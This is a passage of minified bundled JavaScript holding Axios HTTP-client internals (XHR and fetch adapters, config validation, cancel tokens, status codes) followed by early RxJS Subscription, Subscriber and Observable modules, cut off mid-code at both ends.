if((O=H.getContentType())!==!1){let[X,...$]=O?O.split(";").map((_)=>_.trim()).filter(Boolean):[];H.setContentType([X||"multipart/form-data",...$].join("; "))}}if(cY.hasStandardBrowserEnv){if(Y&&i1.isFunction(Y)&&(Y=Y(K)),Y||Y!==!1&&a18(K.url)){let X=z&&w&&t18.read(w);if(X)H.set(z,X)}}return K};var gI1=k(()=>{RR();Ow();s18();e18();trA();JoA();lh();irA()});var k8q,K68;var q68=k(()=>{Ow();srA();nrA();uN();D1A();RR();lh();HoA();gI1();k8q=typeof XMLHttpRequest<"u",K68=k8q&&function(A){return new Promise(function(q,Y){let z=OoA(A),w=z.data,H=eJ.from(z.headers).normalize(),{responseType:J,onUploadProgress:O,onDownloadProgress:X}=z,$,_,G,Z,W;function D(){Z&&Z(),W&&W(),z.cancelToken&&z.cancelToken.unsubscribe($),z.signal&&z.signal.removeEventListener("abort",$)}let j=new XMLHttpRequest;j.open(z.method.toUpperCase(),z.url,!0),j.timeout=z.timeout;function M(){if(!j)return;let f=eJ.from("getAllResponseHeaders"in j&&j.getAllResponseHeaders()),T={data:!J||J==="text"||J==="json"?j.responseText:j.response,status:j.status,statusText:j.statusText,headers:f,config:A,request:j};ih(function(R){q(R),D()},function(R){Y(R),D()},T),j=null}if("onloadend"in j)j.onloadend=M;else j.onreadystatechange=function(){if(!j||j.readyState!==4)return;if(j.status===0&&!(j.responseURL&&j.responseURL.indexOf("file:")===0))return;setTimeout(M)};if(j.onabort=function(){if(!j)return;Y(new a4("Request aborted",a4.ECONNABORTED,A,j)),j=null},j.onerror=function(){Y(new a4("Network Error",a4.ERR_NETWORK,A,j)),j=null},j.ontimeout=function(){let N=z.timeout?"timeout of "+z.timeout+"ms exceeded":"timeout exceeded",T=z.transitional||gzA;if(z.timeoutErrorMessage)N=z.timeoutErrorMessage;Y(new a4(N,T.clarifyTimeoutError?a4.ETIMEDOUT:a4.ECONNABORTED,A,j)),j=null},w===void 0&&H.setContentType(null),"setRequestHeader"in j)i1.forEach(H.toJSON(),function(N,T){j.setRequestHeader(T,N)});if(!i1.isUndefined(z.withCredentials))j.withCredentials=!!z.withCredentials;if(J&&J!=="json")j.responseType=z.responseType;if(X)[G,W]=Bg(X,!0),j.addEventListener("progress",G);if(O&&j.upload)[_,Z]=Bg(O),j.upload.addEventListener("progress",_),j.upload.addEventListener("loadend",Z);if(z.cancelToken||z.signal){if($=(f)=>{if(!j)return;Y(!f||f.type?new BN(null,A,j):f),j.abort(),j=null},z.cancelToken&&z.cancelToken.subscribe($),z.signal)z.signal.aborted?$():z.signal.addEventListener("abort",$)}let P=$TA(z.url);if(P&&cY.protocols.indexOf(P)===-1){Y(new a4("Unsupported protocol "+P+":",a4.ERR_BAD_REQUEST,A));return}j.send(w||null)})}});var C8q=(A,K)=>{let{length:q}=A=A?A.filter(Boolean):[];if(K||q){let Y=new AbortController,z,w=function(X){if(!z){z=!0,J();let $=X instanceof Error?X:this.reason;Y.abort($ instanceof a4?$:new BN($ instanceof Error?$.message:$))}},H=K&&setTimeout(()=>{H=null,w(new a4(`timeout ${K} of ms exceeded`,a4.ETIMEDOUT))},K),J=()=>{if(A)H&&clearTimeout(H),H=null,A.forEach((X)=>{X.unsubscribe?X.unsubscribe(w):X.removeEventListener("abort",w)}),A=null};A.forEach((X)=>X.addEventListener("abort",w));let{signal:O}=Y;return O.unsubscribe=()=>i1.asap(J),O}},Y68;var z68=k(()=>{D1A();uN();Ow();Y68=C8q});var L8q=function*(A,K){let q=A.byteLength;if(!K||q<K){yield A;return}let Y=0,z;while(Y<q)z=Y+K,yield A.slice(Y,z),Y=z},R8q=async function*(A,K){for await(let q of y8q(A))yield*L8q(q,K)},y8q=async function*(A){if(A[Symbol.asyncIterator]){yield*A;return}let K=A.getReader();try{for(;;){let{done:q,value:Y}=await K.read();if(q)break;yield Y}}finally{await K.cancel()}},FI1=(A,K,q,Y)=>{let z=R8q(A,K),w=0,H,J=(O)=>{if(!H)H=!0,Y&&Y(O)};return new ReadableStream({async pull(O){try{let{done:X,value:$}=await z.next();if(X){J(),O.close();return}let _=$.byteLength;if(q){let G=w+=_;q(G)}O.enqueue(new Uint8Array($))}catch(X){throw J(X),X}},cancel(O){return J(O),z.return()}},{highWaterMark:2})};var $oA,H68,I8q,J68=(A,...K)=>{try{return!!A(...K)}catch(q){return!1}},S8q,w68=65536,QI1,XoA,h8q=async(A)=>{if(A==null)return 0;if(i1.isBlob(A))return A.size;if(i1.isSpecCompliantForm(A))return(await new Request(cY.origin,{method:"POST",body:A}).arrayBuffer()).byteLength;if(i1.isArrayBufferView(A)||i1.isArrayBuffer(A))return A.byteLength;if(i1.isURLSearchParams(A))A=A+"";if(i1.isString(A))return(await I8q(A)).byteLength},b8q=async(A,K)=>{let q=i1.toFiniteNumber(A.getContentLength());return q==null?h8q(K):q},O68;var X68=k(()=>{RR();Ow();uN();z68();lh();HoA();gI1();srA();$oA=typeof fetch==="function"&&typeof Request==="function"&&typeof Response==="function",H68=$oA&&typeof ReadableStream==="function",I8q=$oA&&(typeof TextEncoder==="function"?((A)=>(K)=>A.encode(K))(new TextEncoder):async(A)=>new Uint8Array(await new Response(A).arrayBuffer())),S8q=H68&&J68(()=>{let A=!1,K=new Request(cY.origin,{body:new ReadableStream,method:"POST",get duplex(){return A=!0,"half"}}).headers.has("Content-Type");return A&&!K}),QI1=H68&&J68(()=>i1.isReadableStream(new Response("").body)),XoA={stream:QI1&&((A)=>A.body)};$oA&&((A)=>{["text","arrayBuffer","blob","formData","stream"].forEach((K)=>{!XoA[K]&&(XoA[K]=i1.isFunction(A[K])?(q)=>q[K]():(q,Y)=>{throw new a4(`Response type '${K}' is not supported`,a4.ERR_NOT_SUPPORT,Y)})})})(new Response);O68=$oA&&(async(A)=>{let{url:K,method:q,data:Y,signal:z,cancelToken:w,timeout:H,onDownloadProgress:J,onUploadProgress:O,responseType:X,headers:$,withCredentials:_="same-origin",fetchOptions:G}=OoA(A);X=X?(X+"").toLowerCase():"text";let Z=Y68([z,w&&w.toAbortSignal()],H),W,D=Z&&Z.unsubscribe&&(()=>{Z.unsubscribe()}),j;try{if(O&&S8q&&q!=="get"&&q!=="head"&&(j=await b8q($,Y))!==0){let T=new Request(K,{method:"POST",body:Y,duplex:"half"}),C;if(i1.isFormData(Y)&&(C=T.headers.get("content-type")))$.setContentType(C);if(T.body){let[R,x]=czA(j,Bg(lzA(O)));Y=FI1(T.body,w68,R,x)}}if(!i1.isString(_))_=_?"include":"omit";let M="credentials"in Request.prototype;W=new Request(K,{...G,signal:Z,method:q.toUpperCase(),headers:$.normalize().toJSON(),body:Y,duplex:"half",credentials:M?_:void 0});let P=await fetch(W),f=QI1&&(X==="stream"||X==="response");if(QI1&&(J||f&&D)){let T={};["status","statusText","headers"].forEach((y)=>{T[y]=P[y]});let C=i1.toFiniteNumber(P.headers.get("content-length")),[R,x]=J&&czA(C,Bg(lzA(J),!0))||[];P=new Response(FI1(P.body,w68,R,()=>{x&&x(),D&&D()}),T)}X=X||"text";let N=await XoA[i1.findKey(XoA,X)||"text"](P,A);return!f&&D&&D(),await new Promise((T,C)=>{ih(T,C,{data:N,headers:eJ.from(P.headers),status:P.status,statusText:P.statusText,config:A,request:W})})}catch(M){if(D&&D(),M&&M.name==="TypeError"&&/fetch/i.test(M.message))throw Object.assign(new a4("Network Error",a4.ERR_NETWORK,A,W),{cause:M.cause||M});throw a4.from(M,M&&M.code,A,W)}})});var UI1,$68=(A)=>`- ${A}`,x8q=(A)=>i1.isFunction(A)||A===null||A===!1,_oA;var pI1=k(()=>{Ow();o18();q68();X68();uN();UI1={http:r18,xhr:K68,fetch:O68};i1.forEach(UI1,(A,K)=>{if(A){try{Object.defineProperty(A,"name",{value:K})}catch(q){}Object.defineProperty(A,"adapterName",{value:K})}});_oA={getAdapter:(A)=>{A=i1.isArray(A)?A:[A];let{length:K}=A,q,Y,z={};for(let w=0;w<K;w++){q=A[w];let H;if(Y=q,!x8q(q)){if(Y=UI1[(H=String(q)).toLowerCase()],Y===void 0)throw new a4(`Unknown adapter '${H}'`)}if(Y)break;z[H||"#"+w]=Y}if(!Y){let w=Object.entries(z).map(([J,O])=>`adapter ${J} `+(O===!1?"is not supported by the environment":"is not available in the build")),H=K?w.length>1?`since : `+w.map($68).join(` `):" "+$68(w[0]):"as no adapter specified";throw new a4("There is no suitable adapter to dispatch the request "+H,"ERR_NOT_SUPPORT")}return Y},adapters:UI1}});function dI1(A){if(A.cancelToken)A.cancelToken.throwIfRequested();if(A.signal&&A.signal.aborted)throw new BN(null,A)}function GoA(A){if(dI1(A),A.headers=eJ.from(A.headers),A.data=YTA.call(A,A.transformRequest),["post","put","patch"].indexOf(A.method)!==-1)A.headers.setContentType("application/x-www-form-urlencoded",!1);return _oA.getAdapter(A.adapter||FzA.adapter)(A).then(function(Y){return dI1(A),Y.data=YTA.call(A,A.transformResponse,Y),Y.headers=eJ.from(Y.headers),Y},function(Y){if(!zTA(Y)){if(dI1(A),Y&&Y.response)Y.response.data=YTA.call(A,A.transformResponse,Y.response),Y.response.headers=eJ.from(Y.response.headers)}return Promise.reject(Y)})}var _68=k(()=>{q18();orA();D1A();lh();pI1()});function u8q(A,K,q){if(typeof A!=="object")throw new a4("options must be an object",a4.ERR_BAD_OPTION_VALUE);let Y=Object.keys(A),z=Y.length;while(z-- >0){let w=Y[z],H=K[w];if(H){let J=A[w],O=J===void 0||H(J,w,A);if(O!==!0)throw new a4("option "+w+" must be "+O,a4.ERR_BAD_OPTION_VALUE);continue}if(q!==!0)throw new a4("Unknown option "+w,a4.ERR_BAD_OPTION)}}var ZoA,G68,GTA;var Z68=k(()=>{uN();ZoA={};["object","boolean","number","function","string","symbol"].forEach((A,K)=>{ZoA[A]=function(Y){return typeof Y===A||"a"+(K<1?"n ":" ")+A}});G68={};ZoA.transitional=function(K,q,Y){function z(w,H){return"[Axios v"+T1A+"] Transitional option '"+w+"'"+H+(Y?". "+Y:"")}return(w,H,J)=>{if(K===!1)throw new a4(z(H," has been removed"+(q?" in "+q:"")),a4.ERR_DEPRECATED);if(q&&!G68[H])G68[H]=!0,console.warn(z(H," has been deprecated since v"+q+" and will be removed in the near future"));return K?K(w,H,J):!0}};ZoA.spelling=function(K){return(q,Y)=>{return console.warn(`${Y} is likely a misspelling of ${K}`),!0}};GTA={assertOptions:u8q,validators:ZoA}});class ZTA{constructor(A){this.defaults=A,this.interceptors={request:new JI1,response:new JI1}}async request(A,K){try{return await this._request(A,K)}catch(q){if(q instanceof Error){let Y={};Error.captureStackTrace?Error.captureStackTrace(Y):Y=Error();let z=Y.stack?Y.stack.replace(/^.+\n/,""):"";try{if(!q.stack)q.stack=z;else if(z&&!String(q.stack).endsWith(z.replace(/^.+\n.+\n/,"")))q.stack+=` `+z}catch(w){}}throw q}}_request(A,K){if(typeof A==="string")K=K||{},K.url=A;else K=A||{};K=yR(this.defaults,K);let{transitional:q,paramsSerializer:Y,headers:z}=K;if(q!==void 0)GTA.assertOptions(q,{silentJSONParsing:nh.transitional(nh.boolean),forcedJSONParsing:nh.transitional(nh.boolean),clarifyTimeoutError:nh.transitional(nh.boolean)},!1);if(Y!=null)if(i1.isFunction(Y))K.paramsSerializer={serialize:Y};else GTA.assertOptions(Y,{encode:nh.function,serialize:nh.function},!0);if(K.allowAbsoluteUrls!==void 0);else if(this.defaults.allowAbsoluteUrls!==void 0)K.allowAbsoluteUrls=this.defaults.allowAbsoluteUrls;else K.allowAbsoluteUrls=!0;GTA.assertOptions(K,{baseUrl:nh.spelling("baseURL"),withXsrfToken:nh.spelling("withXSRFToken")},!0),K.method=(K.method||this.defaults.method||"get").toLowerCase();let w=z&&i1.merge(z.common,z[K.method]);z&&i1.forEach(["delete","get","head","post","put","patch","common"],(Z)=>{delete z[Z]}),K.headers=eJ.concat(w,z);let H=[],J=!0;this.interceptors.request.forEach(function(W){if(typeof W.runWhen==="function"&&W.runWhen(K)===!1)return;J=J&&W.synchronous,H.unshift(W.fulfilled,W.rejected)});let O=[];this.interceptors.response.forEach(function(W){O.push(W.fulfilled,W.rejected)});let X,$=0,_;if(!J){let Z=[GoA.bind(this),void 0];Z.unshift.apply(Z,H),Z.push.apply(Z,O),_=Z.length,X=Promise.resolve(K);while($<_)X=X.then(Z[$++],Z[$++]);return X}_=H.length;let G=K;$=0;while($<_){let Z=H[$++],W=H[$++];try{G=Z(G)}catch(D){W.call(this,D);break}}try{X=GoA.call(this,G)}catch(Z){return Promise.reject(Z)}$=0,_=O.length;while($<_)X=X.then(O[$++],O[$++]);return X}getUri(A){A=yR(this.defaults,A);let K=j1A(A.baseURL,A.url,A.allowAbsoluteUrls);return W1A(K,A.params,A.paramsSerializer)}}var nh,WTA;var W68=k(()=>{Ow();irA();cA8();_68();JoA();trA();Z68();lh();nh=GTA.validators;i1.forEach(["delete","get","head","options"],function(K){ZTA.prototype[K]=function(q,Y){return this.request(yR(Y||{},{method:K,url:q,data:(Y||{}).data}))}});i1.forEach(["post","put","patch"],function(K){function q(Y){return function(w,H,J){return this.request(yR(J||{},{method:K,headers:Y?{"Content-Type":"multipart/form-data"}:{},url:w,data:H}))}}ZTA.prototype[K]=q(),ZTA.prototype[K+"Form"]=q(!0)});WTA=ZTA});class cI1{constructor(A){if(typeof A!=="function")throw TypeError("executor must be a function.");let K;this.promise=new Promise(function(z){K=z});let q=this;this.promise.then((Y)=>{if(!q._listeners)return;let z=q._listeners.length;while(z-- >0)q._listeners[z](Y);q._listeners=null}),this.promise.then=(Y)=>{let z,w=new Promise((H)=>{q.subscribe(H),z=H}).then(Y);return w.cancel=function(){q.unsubscribe(z)},w},A(function(z,w,H){if(q.reason)return;q.reason=new BN(z,w,H),K(q.reason)})}throwIfRequested(){if(this.reason)throw this.reason}subscribe(A){if(this.reason){A(this.reason);return}if(this._listeners)this._listeners.push(A);else this._listeners=[A]}unsubscribe(A){if(!this._listeners)return;let K=this._listeners.indexOf(A);if(K!==-1)this._listeners.splice(K,1)}toAbortSignal(){let A=new AbortController,K=(q)=>{A.abort(q)};return this.subscribe(K),A.signal.unsubscribe=()=>this.unsubscribe(K),A.signal}static source(){let A;return{token:new cI1(function(Y){A=Y}),cancel:A}}}var D68;var j68=k(()=>{D1A();D68=cI1});function lI1(A){return function(q){return A.apply(null,q)}}function iI1(A){return i1.isObject(A)&&A.isAxiosError===!0}var M68=k(()=>{Ow()});var nI1,P68;var V68=k(()=>{nI1={Continue:100,SwitchingProtocols:101,Processing:102,EarlyHints:103,Ok:200,Created:201,Accepted:202,NonAuthoritativeInformation:203,NoContent:204,ResetContent:205,PartialContent:206,MultiStatus:207,AlreadyReported:208,ImUsed:226,MultipleChoices:300,MovedPermanently:301,Found:302,SeeOther:303,NotModified:304,UseProxy:305,Unused:306,TemporaryRedirect:307,PermanentRedirect:308,BadRequest:400,Unauthorized:401,PaymentRequired:402,Forbidden:403,NotFound:404,MethodNotAllowed:405,NotAcceptable:406,ProxyAuthenticationRequired:407,RequestTimeout:408,Conflict:409,Gone:410,LengthRequired:411,PreconditionFailed:412,PayloadTooLarge:413,UriTooLong:414,UnsupportedMediaType:415,RangeNotSatisfiable:416,ExpectationFailed:417,ImATeapot:418,MisdirectedRequest:421,UnprocessableEntity:422,Locked:423,FailedDependency:424,TooEarly:425,UpgradeRequired:426,PreconditionRequired:428,TooManyRequests:429,RequestHeaderFieldsTooLarge:431,UnavailableForLegalReasons:451,InternalServerError:500,NotImplemented:501,BadGateway:502,ServiceUnavailable:503,GatewayTimeout:504,HttpVersionNotSupported:505,VariantAlsoNegotiates:506,InsufficientStorage:507,LoopDetected:508,NotExtended:510,NetworkAuthenticationRequired:511};Object.entries(nI1).forEach(([A,K])=>{nI1[K]=A});P68=nI1});function f68(A){let K=new WTA(A),q=nNA(WTA.prototype.request,K);return i1.extend(q,WTA.prototype,K,{allOwnKeys:!0}),i1.extend(q,K,null,{allOwnKeys:!0}),q.create=function(z){return f68(yR(A,z))},q}var mX,A8;var N68=k(()=>{Ow();W68();JoA();orA();ZI1();D1A();j68();ATA();uN();M68();lh();pI1();V68();mX=f68(FzA);mX.Axios=WTA;mX.CanceledError=BN;mX.CancelToken=D68;mX.isCancel=zTA;mX.VERSION=T1A;mX.toFormData=yl;mX.AxiosError=a4;mX.Cancel=mX.CanceledError;mX.all=function(K){return Promise.all(K)};mX.spread=lI1;mX.isAxiosError=iI1;mX.mergeConfig=yR;mX.AxiosHeaders=eJ;mX.formToJSON=(A)=>rrA(i1.isHTMLForm(A)?new FormData(A):A);mX.getAdapter=_oA.getAdapter;mX.HttpStatusCode=P68;mX.default=mX;A8=mX});var Tjz,T68,vjz,Ejz,kjz,Cjz,Ljz,Rjz,yjz,Ijz,Sjz,hjz,bjz,xjz,ujz,Bjz;var n3=k(()=>{N68();({Axios:Tjz,AxiosError:T68,CanceledError:vjz,isCancel:Ejz,CancelToken:kjz,VERSION:Cjz,all:Ljz,Cancel:Rjz,isAxiosError:yjz,spread:Ijz,toFormData:Sjz,AxiosHeaders:hjz,HttpStatusCode:bjz,formToJSON:xjz,getAdapter:ujz,mergeConfig:Bjz}=A8)});var Hz=v((v68)=>{Object.defineProperty(v68,"__esModule",{value:!0});v68.isFunction=void 0;function B8q(A){return typeof A==="function"}v68.isFunction=B8q});var hl=v((k68)=>{Object.defineProperty(k68,"__esModule",{value:!0});k68.createErrorClass=void 0;function m8q(A){var K=function(Y){Error.call(Y),Y.stack=Error().stack},q=A(K);return q.prototype=Object.create(Error.prototype),q.prototype.constructor=q,q}k68.createErrorClass=m8q});var rI1=v((L68)=>{Object.defineProperty(L68,"__esModule",{value:!0});L68.UnsubscriptionError=void 0;var g8q=hl();L68.UnsubscriptionError=g8q.createErrorClass(function(A){return function(q){A(this),this.message=q?q.length+` errors occurred during unsubscription: `+q.map(function(Y,z){return z+1+") "+Y.toString()}).join(` `):"",this.name="UnsubscriptionError",this.errors=q}})});var mg=v((y68)=>{Object.defineProperty(y68,"__esModule",{value:!0});y68.arrRemove=void 0;function F8q(A,K){if(A){var q=A.indexOf(K);0<=q&&A.splice(q,1)}}y68.arrRemove=F8q});var mN=v((sP)=>{var S68=sP&&sP.__values||function(A){var K=typeof Symbol==="function"&&Symbol.iterator,q=K&&A[K],Y=0;if(q)return q.call(A);if(A&&typeof A.length==="number")return{next:function(){if(A&&Y>=A.length)A=void 0;return{value:A&&A[Y++],done:!A}}};throw TypeError(K?"Object is not iterable.":"Symbol.iterator is not defined.")},h68=sP&&sP.__read||function(A,K){var q=typeof Symbol==="function"&&A[Symbol.iterator];if(!q)return A;var Y=q.call(A),z,w=[],H;try{while((K===void 0||K-- >0)&&!(z=Y.next()).done)w.push(z.value)}catch(J){H={error:J}}finally{try{if(z&&!z.done&&(q=Y.return))q.call(Y)}finally{if(H)throw H.error}}return w},b68=sP&&sP.__spreadArray||function(A,K){for(var q=0,Y=K.length,z=A.length;q<Y;q++,z++)A[z]=K[q];return A};Object.defineProperty(sP,"__esModule",{value:!0});sP.isSubscription=sP.EMPTY_SUBSCRIPTION=sP.Subscription=void 0;var DTA=Hz(),oI1=rI1(),x68=mg(),aI1=function(){function A(K){this.initialTeardown=K,this.closed=!1,this._parentage=null,this._finalizers=null}return A.prototype.unsubscribe=function(){var K,q,Y,z,w;if(!this.closed){this.closed=!0;var H=this._parentage;if(H)if(this._parentage=null,Array.isArray(H))try{for(var J=S68(H),O=J.next();!O.done;O=J.next()){var X=O.value;X.remove(this)}}catch(D){K={error:D}}finally{try{if(O&&!O.done&&(q=J.return))q.call(J)}finally{if(K)throw K.error}}else H.remove(this);var $=this.initialTeardown;if(DTA.isFunction($))try{$()}catch(D){w=D instanceof oI1.UnsubscriptionError?D.errors:[D]}var _=this._finalizers;if(_){this._finalizers=null;try{for(var G=S68(_),Z=G.next();!Z.done;Z=G.next()){var W=Z.value;try{u68(W)}catch(D){if(w=w!==null&&w!==void 0?w:[],D instanceof oI1.UnsubscriptionError)w=b68(b68([],h68(w)),h68(D.errors));else w.push(D)}}}catch(D){Y={error:D}}finally{try{if(Z&&!Z.done&&(z=G.return))z.call(G)}finally{if(Y)throw Y.error}}}if(w)throw new oI1.UnsubscriptionError(w)}},A.prototype.add=function(K){var q;if(K&&K!==this)if(this.closed)u68(K);else{if(K instanceof A){if(K.closed||K._hasParent(this))return;K._addParent(this)}(this._finalizers=(q=this._finalizers)!==null&&q!==void 0?q:[]).push(K)}},A.prototype._hasParent=function(K){var q=this._parentage;return q===K||Array.isArray(q)&&q.includes(K)},A.prototype._addParent=function(K){var q=this._parentage;this._parentage=Array.isArray(q)?(q.push(K),q):q?[q,K]:K},A.prototype._removeParent=function(K){var q=this._parentage;if(q===K)this._parentage=null;else if(Array.isArray(q))x68.arrRemove(q,K)},A.prototype.remove=function(K){var q=this._finalizers;if(q&&x68.arrRemove(q,K),K instanceof A)K._removeParent(this)},A.EMPTY=function(){var K=new A;return K.closed=!0,K}(),A}();sP.Subscription=aI1;sP.EMPTY_SUBSCRIPTION=aI1.EMPTY;function Q8q(A){return A instanceof aI1||A&&"closed"in A&&DTA.isFunction(A.remove)&&DTA.isFunction(A.add)&&DTA.isFunction(A.unsubscribe)}sP.isSubscription=Q8q;function u68(A){if(DTA.isFunction(A))A();else A.unsubscribe()}});var nzA=v((B68)=>{Object.defineProperty(B68,"__esModule",{value:!0});B68.config=void 0;B68.config={onUnhandledError:null,onStoppedNotification:null,Promise:void 0,useDeprecatedSynchronousErrorHandling:!1,useDeprecatedNextContext:!1}});var sI1=v((rh)=>{var g68=rh&&rh.__read||function(A,K){var q=typeof Symbol==="function"&&A[Symbol.iterator];if(!q)return A;var Y=q.call(A),z,w=[],H;try{while((K===void 0||K-- >0)&&!(z=Y.next()).done)w.push(z.value)}catch(J){H={error:J}}finally{try{if(z&&!z.done&&(q=Y.return))q.call(Y)}finally{if(H)throw H.error}}return w},F68=rh&&rh.__spreadArray||function(A,K){for(var q=0,Y=K.length,z=A.length;q<Y;q++,z++)A[z]=K[q];return A};Object.defineProperty(rh,"__esModule",{value:!0});rh.timeoutProvider=void 0;rh.timeoutProvider={setTimeout:function(A,K){var q=[];for(var Y=2;Y<arguments.length;Y++)q[Y-2]=arguments[Y];var z=rh.timeoutProvider.delegate;if(z===null||z===void 0?void 0:z.setTimeout)return z.setTimeout.apply(z,F68([A,K],g68(q)));return setTimeout.apply(void 0,F68([A,K],g68(q)))},clearTimeout:function(A){var K=rh.timeoutProvider.delegate;return((K===null||K===void 0?void 0:K.clearTimeout)||clearTimeout)(A)},delegate:void 0}});var tI1=v((Q68)=>{Object.defineProperty(Q68,"__esModule",{value:!0});Q68.reportUnhandledError=void 0;var U8q=nzA(),p8q=sI1();function d8q(A){p8q.timeoutProvider.setTimeout(function(){var K=U8q.config.onUnhandledError;if(K)K(A);else throw A})}Q68.reportUnhandledError=d8q});var jZ=v((p68)=>{Object.defineProperty(p68,"__esModule",{value:!0});p68.noop=void 0;function c8q(){}p68.noop=c8q});var i68=v((c68)=>{Object.defineProperty(c68,"__esModule",{value:!0});c68.createNotification=c68.nextNotification=c68.errorNotification=c68.COMPLETE_NOTIFICATION=void 0;c68.COMPLETE_NOTIFICATION=function(){return WoA("C",void 0,void 0)}();function l8q(A){return WoA("E",void 0,A)}c68.errorNotification=l8q;function i8q(A){return WoA("N",A,void 0)}c68.nextNotification=i8q;function WoA(A,K,q){return{kind:A,value:K,error:q}}c68.createNotification=WoA});var DoA=v((r68)=>{Object.defineProperty(r68,"__esModule",{value:!0});r68.captureError=r68.errorContext=void 0;var n68=nzA(),v1A=null;function a8q(A){if(n68.config.useDeprecatedSynchronousErrorHandling){var K=!v1A;if(K)v1A={errorThrown:!1,error:null};if(A(),K){var q=v1A,Y=q.errorThrown,z=q.error;if(v1A=null,Y)throw z}}else A()}r68.errorContext=a8q;function s8q(A){if(n68.config.useDeprecatedSynchronousErrorHandling&&v1A)v1A.errorThrown=!0,v1A.error=A}r68.captureError=s8q});var rzA=v((IR)=>{var t68=IR&&IR.__extends||function(){var A=function(K,q){return A=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(Y,z){Y.__proto__=z}||function(Y,z){for(var w in z)if(Object.prototype.hasOwnProperty.call(z,w))Y[w]=z[w]},A(K,q)};return function(K,q){if(typeof q!=="function"&&q!==null)throw TypeError("Class extends value "+String(q)+" is not a constructor or null");A(K,q);function Y(){this.constructor=K}K.prototype=q===null?Object.create(q):(Y.prototype=q.prototype,new Y)}}();Object.defineProperty(IR,"__esModule",{value:!0});IR.EMPTY_OBSERVER=IR.SafeSubscriber=IR.Subscriber=void 0;var e8q=Hz(),a68=mN(),qS1=nzA(),A4q=tI1(),s68=jZ(),eI1=i68(),K4q=sI1(),q4q=DoA(),e68=function(A){t68(K,A);function K(q){var Y=A.call(this)||this;if(Y.isStopped=!1,q){if(Y.destination=q,a68.isSubscription(q))q.add(Y)}else Y.destination=IR.EMPTY_OBSERVER;return Y}return K.create=function(q,Y,z){return new A88(q,Y,z)},K.prototype.next=function(q){if(this.isStopped)KS1(eI1.nextNotification(q),this);else this._next(q)},K.prototype.error=function(q){if(this.isStopped)KS1(eI1.errorNotification(q),this);else this.isStopped=!0,this._error(q)},K.prototype.complete=function(){if(this.isStopped)KS1(eI1.COMPLETE_NOTIFICATION,this);else this.isStopped=!0,this._complete()},K.prototype.unsubscribe=function(){if(!this.closed)this.isStopped=!0,A.prototype.unsubscribe.call(this),this.destination=null},K.prototype._next=function(q){this.destination.next(q)},K.prototype._error=function(q){try{this.destination.error(q)}finally{this.unsubscribe()}},K.prototype._complete=function(){try{this.destination.complete()}finally{this.unsubscribe()}},K}(a68.Subscription);IR.Subscriber=e68;var Y4q=Function.prototype.bind;function AS1(A,K){return Y4q.call(A,K)}var z4q=function(){function A(K){this.partialObserver=K}return A.prototype.next=function(K){var q=this.partialObserver;if(q.next)try{q.next(K)}catch(Y){joA(Y)}},A.prototype.error=function(K){var q=this.partialObserver;if(q.error)try{q.error(K)}catch(Y){joA(Y)}else joA(K)},A.prototype.complete=function(){var K=this.partialObserver;if(K.complete)try{K.complete()}catch(q){joA(q)}},A}(),A88=function(A){t68(K,A);function K(q,Y,z){var w=A.call(this)||this,H;if(e8q.isFunction(q)||!q)H={next:q!==null&&q!==void 0?q:void 0,error:Y!==null&&Y!==void 0?Y:void 0,complete:z!==null&&z!==void 0?z:void 0};else{var J;if(w&&qS1.config.useDeprecatedNextContext)J=Object.create(q),J.unsubscribe=function(){return w.unsubscribe()},H={next:q.next&&AS1(q.next,J),error:q.error&&AS1(q.error,J),complete:q.complete&&AS1(q.complete,J)};else H=q}return w.destination=new z4q(H),w}return K}(e68);IR.SafeSubscriber=A88;function joA(A){if(qS1.config.useDeprecatedSynchronousErrorHandling)q4q.captureError(A);else A4q.reportUnhandledError(A)}function w4q(A){throw A}function KS1(A,K){var q=qS1.config.onStoppedNotification;q&&K4q.timeoutProvider.setTimeout(function(){return q(A,K)})}IR.EMPTY_OBSERVER={closed:!0,next:s68.noop,error:w4q,complete:s68.noop}});var jTA=v((K88)=>{Object.defineProperty(K88,"__esModule",{value:!0});K88.observable=void 0;K88.observable=function(){return typeof Symbol==="function"&&Symbol.observable||"@@observable"}()});var MZ=v((Y88)=>{Object.defineProperty(Y88,"__esModule",{value:!0});Y88.identity=void 0;function H4q(A){return A}Y88.identity=H4q});var MTA=v((H88)=>{Object.defineProperty(H88,"__esModule",{value:!0});H88.pipeFromArray=H88.pipe=void 0;var J4q=MZ();function O4q(){var A=[];for(var K=0;K<arguments.length;K++)A[K]=arguments[K];return w88(A)}H88.pipe=O4q;function w88(A){if(A.length===0)return J4q.identity;if(A.length===1)return A[0];return function(q){return A.reduce(function(Y,z){return z(Y)},q)}}H88.pipeFromArray=w88});var xz=v((X88)=>{Object.defineProperty(X88,"__esModule",{value:!0});X88.Observable=void 0;var zS1=rzA(),$4q=mN(),_4q=jTA(),G4q=MTA(),Z4q=nzA(),YS1=Hz(),W4q=DoA(),D4q=function(){function A(K){if(K)this._subscribe=K}return A.prototype.lift=function(K){var q=new A;return q.source=this,q.operator=K,q},A.prototype.subscribe=function(K,q,Y){var z=this,w=M4q(K)?K:new zS1.SafeSubscriber(K,q,Y);return W4q.errorContext(function(){var H=z,J=H.operator,O=H.source;w.add(J?J.call(w,O):O?z._subscribe(w):z._trySubscribe(w))}),w},A.prototype._trySubscribe=function(K){try{return this._subscribe(K)}catch(q){K.error(q)}},A.prototype.forEach=function(K,q){var Y=this;return q=O88(q),new q(function(z,w){var H=new zS1.SafeSubscriber({next:function(J){try{K(J)}catch(O){w(O),H.unsubscribe()}},error:w,complete:z});Y.subscribe(H)})},A.prototype._subscribe=function(K){var q;return(q=this.source)===null||q===void 0?void 0:q.subscribe(K)},A.prototype[_4q.observable]=function(){return this},A.prototype.pipe=function(){var K=[];for(var q=0;q<arguments.length;q++)K[q]=arguments[q];return G4q.pipeFromArray(K)(this)},A.prototype.toPromise=function(K){var q=this;return K=O88(K),new K(function(Y,z){var w;q.subscribe(function(H){return w=H},function(H){return z(H)},function(){return Y(w)})})},A.create=function(K){return new A(K)},A}();X88.Observable=D4q;function O88(A){var K;return(K=A!==null&&A!==void 0?A:Z4q.config.Promise)!==null&&K!==void 0?K:Promise}function j4q(A){return A&&YS1.isFunction(A.next)&&YS1.isFunction(A.error)&&YS1.isFunction(A.complete)}function M4q(A){return A&&A instanceof zS1.Subscriber||j4q(A)&&$4q.isSubscription(A)}});var $7=v((G88)=>{Object.defineProperty(G88,"__esModule",{value:!0});G88.operate=G88.hasLift=void 0;var P4q=Hz();function _88(A){return P4q.isFunction(A===null||A===void 0?void 0:A.lift)}G88.hasLift=_88;function V4q(A){return function(K){if(_88(K))return 